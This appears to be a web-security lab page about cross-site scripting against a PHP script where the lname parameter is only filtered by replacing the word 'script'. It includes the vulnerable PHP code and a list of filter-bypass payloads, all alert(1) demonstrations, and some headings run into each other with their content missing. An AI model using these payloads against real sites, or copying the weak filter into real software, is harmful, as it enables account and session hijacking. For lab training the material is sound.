Test XSS with different filtering approaches in the same application
This lab demonstrates mixed security implementations where different parameters use different filtering approaches, creating a complex security landscape.
# use arjun tool to find hidden parameter
<script>alert(1)</script>
</>alert(1)</>
Objective: Test XSS payloads against the mixed filtering implementation and find ways to bypass the partial filter in the lname parameter.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
$re = str_replace('script', '/', $_GET['lname']);
echo $re;
}
elseif(isset($_GET["ptu"])){
echo htmlspecialchars($_GET["ptu"], ENT_QUOTES);
}
# use arjun tool to find hidden parameter
<SCRIPT>alert(1)</SCRIPT> - Uppercase<Script>alert(1)</Script> - Capitalized<ScRiPt>alert(1)</ScRiPt> - Mixed case<img src=x onerror=alert(1)> - Image error handler<body onload=alert(1)> - Body load event<svg onload=alert(1)> - SVG load event<scrscriptipt>alert(1)</scrscriptipt> - Double writing<scr/ipt>alert(1)</scr/ipt> - Using the replacement character<scr"+"ipt>alert(1)</scr"+"ipt> - String concatenationMixed filtering implementations create:
For consistent security:
<scrscriptipt>alert(1)</scrscriptipt><scr/ipt>alert(1)</scr/ipt>scrscriptipt:alert(1) - For JavaScript URLs<img src=x onerror=alert(1)><svg onload=alert(1)><iframe src="javascript:alert(1)"><object data="data:text/html,<script>alert(1)</script>"><script>alert(1)</script><scr\u0069pt>alert(1)</scr\u0069pt><object data="data:text/html,<script>alert(1)</script>">javascript:alert(1)